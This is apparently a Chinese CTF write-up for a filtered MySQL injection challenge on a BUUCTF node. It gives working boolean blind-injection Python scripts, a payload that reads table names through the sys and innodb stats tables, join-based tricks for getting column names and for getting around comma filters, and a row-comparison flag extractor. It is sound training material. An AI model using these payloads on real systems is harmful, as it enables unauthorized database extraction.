打开,经典查询框,先随意提交1,post数据,抓包看一下
burp fuzz测试一下,可以看到常用的information,information_schema,or,union等关键字被过滤了,简单尝试后,发现没有回显,也没有报错,当语句为真时返回Nu1L,为假时返回V&N,考虑布尔盲注。
注:补充!!!
InnoDb引擎 从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名(即sys.schema_table_statistics查不出列段名) sys数据库 在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
跑表名:脚本
import requests url = "http://2d3886f0-f7f7-4dd3-beb7-38a2a02ff2e6.node4.buuoj.cn:81/index.php" flag = "" payload = "1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))={})^1" for i in range(1,500): for j in range(32,128): py = payload.format(i,j) data = {"id": py} r = requests.post(url=url,data=data) if "Nu1L" in r.text: flag += chr(j) print(flag) break
得到两个表名:users233333333333333,f1ag_1s_h3r3_hhhhh
注:补充2!!!
当or被过滤(没过滤in)时,可利用innodb存储引擎获取表名
-
mysql.innodb_table_stats (此表中库名字段是database_name,而非table_schema)
-
mysql.innodb_index_stats
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
join
通过join进行无列名注入获取列名
mysql> select * from (select * from users a join users b)c; ERROR 1060 (42S21): Duplicate column name 'id' mysql> select * from (select * from users a join users b using(id))c; ERROR 1060 (42S21): Duplicate column name 'username' mysql> select * from (select * from users a join users b using(id,username))c; ERROR 1060 (42S21): Duplicate column name 'password'
在学习大佬wp时还看到利用join绕过逗号过滤,tql
?id=-1' union select 1,2,3--+
不用逗号
?id=-1' union select * from (select 1)a join (select 2)b join (select 3)c--+
注:补充3!!!
无列名注入
过滤了union的无列名注入没学过 参考y1ng师傅的wp i春秋2020新春战“疫”网络安全公益赛GYCTF Writeup 第二天 – 颖奇L'Amore 看完只能感叹大佬tql 核心思想
假设 flag 为 flag {bbbbb},对于 payload 这个两个 select 查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大,这个不难懂,和 c 语言的 strcmp() 函数原理一样,举几个例子: glag > flag{bbbbb} alag{zzzzzzzzzzz} < flag{bbbbb} a < flag{bbbbb} z > flag{bbbbb} 在这样的按位比较过程中,因为在里层的 for() 循环,字典顺序是从 ASCII 码小到大来枚举并比较的,假设正确值为 b,那么字典跑到 b 的时候 b=b 不满足 payload 的大于号,只能继续下一轮循环,c>b 此时满足了,题目返回真,出现了 Nu1L 关键字,这个时候就需要记录 flag 的值了,但是此时这一位的 char 是 c,而真正的 flag 的这一位应该是 b 才对,所以 flag += chr(char-1),这就是为什么在存 flag 时候要往前偏移一位的原因 脚本如下:
import requests import time url = 'http://2d3886f0-f7f7-4dd3-beb7-38a2a02ff2e6.node4.buuoj.cn:81/index.php' flag = '' for j in range(1,50): for x in range(32,127): flag1 = flag+chr(x) payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(flag1) data = {'id': payload} re = requests.post(url=url, data=data) if 'Nu1L' in re.text: break time.sleep(2) flag += chr(x-1) print(flag) print(flag.lower())//跑出的flag大写无法提交,转换小写)
跑出flag:FLAG{7586A683-8049-49B5-8A5B-811AE0D94853} flag{7586a683-8049-49b5-8a5b-811ae0d94853}
补充四4:无列名注入【无列名注入 - Lee-404 - 博客园】